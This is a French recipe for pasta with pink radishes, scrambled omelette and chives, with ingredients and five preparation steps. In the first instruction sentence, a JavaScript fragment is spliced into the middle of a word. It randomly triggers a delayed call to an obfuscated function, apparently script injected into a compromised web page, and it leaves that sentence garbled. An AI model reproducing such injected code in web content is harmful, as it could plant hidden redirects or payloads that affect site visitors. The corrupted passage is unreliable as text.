Pâtes avec radis roses, omelette, ciboulettes
2017-01-01- Cuisine : Omelette
- Thématique : Végétarien
- Niveau : Facile
Plongez les pâtes dans une grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande quantité d’eau bouillante salée. Faites cuire en respectant la cuisson indiquée sur le paquet. Les égouttées.
Ingrédients
- Pour 4 personnes
- 400 g de pâtes (Coudes )
- 1 botte de radis roses
- 4 œufs entiers
- 1demi bouquet de ciboulette fraîche,
- Sel / poivre du moulin
Préparation de la recette
Etape 1
Rincez, essorez, ciselez le demi bouquet de ciboulette fraîche. Plongez les pâtes dans une grande quantité d'eau bouillante salée. Faites cuire en respectant la cuisson indiquée sur le paquet. Les égoutter.
Etape 2
Coupez les fanes de radis roses, les rincer, les séchére et les détailler en rondelles fines.
Etape 3
Dans une assiette creuse fouettez les œufs, salez, poivrez.
Etape 4
Dans une poêle avec 2 cuillères à soupe d'huile d'arachide, sur feu moyen, faites cuire l'omelette en la morcelant en petits morceaux.
Etape 5
Baissez le feu et incorporez les pâtes encore chaudes, 50 g de beurre, les rondelles de radis. Parsemez de ciboulette. Dégustez chaud.
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